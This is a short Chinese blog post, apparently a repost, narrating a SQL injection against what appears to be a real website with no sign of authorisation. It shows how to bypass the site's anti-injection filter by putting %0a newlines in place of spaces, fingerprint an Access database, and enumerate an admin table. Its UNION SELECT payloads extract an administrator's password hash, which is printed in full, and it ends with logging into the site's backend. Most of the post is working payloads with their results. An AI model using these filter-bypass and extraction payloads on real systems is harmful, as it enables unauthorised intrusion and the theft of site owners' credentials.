SQL绕过实例

简单判断是否存在注入

发现有防注入系统,在网站地址后加入“-0”和“/”进行测试

明显存在SQL注入。

post提交无法绕过

在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图所示,结果无任何变化,说明直接post提交无法绕过。

使用%09(也就是tab键)可以绕过,经过测试还是不行,如图所示,用%0a(换行符)替换下空格成功绕过

通过and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:

and%0a(select%0acount(*)%0afrom%0asysobjects)>0

and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。

通过order by判断列名

判断是否存在admin表

and (select count(*) from admin)>0

and%0a(select%0acount(*)%0afrom%0aadmin)>0

判断是否存在user以及pass字段

and %0a (select%0acount(user) %0afrom%0aadmin)>0

and%0a (select%0acount(pass) %0afrom%0aadmin)>0

获取管理员密码

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码

登录后台

原文地址:https://www.cnblogs.com/zhaosimeng/p/7102006.html